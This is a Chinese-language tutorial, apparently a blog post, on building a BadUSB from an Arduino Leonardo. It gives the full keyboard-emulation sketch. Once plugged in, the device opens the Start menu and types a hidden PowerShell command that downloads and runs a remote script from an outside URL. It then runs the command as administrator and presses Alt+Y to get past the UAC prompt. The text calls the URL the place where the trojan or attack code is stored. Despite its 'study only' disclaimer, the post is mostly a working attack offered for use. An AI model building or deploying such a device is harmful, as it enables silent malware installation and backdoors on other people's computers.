基于arduino leonardo制作的badusb,可插入U盘自动下载网站木马程序,后门等,仅供学习参考,勿作他用!
准备材料如下:
1.一块arduino的板子(型号只能是 arduino uno和arduino leonardo )
2.装有Arduino IDE的电脑
3.一个域名和空间
1.我们先连接上arduino的这块板子,再进入设备管理器,然后找到端口。

2.打开arduino IDE,配置好板子和电脑的连接。
1.工具->版->选择“Arduino Leonardo”
2.工具->Port->选择COM*(此COM是步骤1中的)

现在可以看到IDE右下角出现“Arduino Leonardo on COM*

3.写入代码,完成后,按左上角对号键编译代码,按右箭头完成代码上传。

代码如下:
#include <Keyboard.h>
void setup()
{
delay(5000);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_ESC);
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1500);
}
void loop()
{
}
代码解释:
插入后等待五秒,
按下ctrl+esc,(作用:在任何界面打开开始菜单)
等待半秒,
模拟输入一个字符串,并回车执行(作用:在开始菜单执行命令)
等待2.5秒,更改焦点,模拟键盘输入y(作用:绕过uac,得到系统许可)
此时,badusb就做好了,重新插拔设备,用win+R快捷键,会看到下图,说明完成了。

代码中,有一段网址,这个网址是存放木马或者要攻击代码的,需要自己去存放,后续再介绍。
网友评论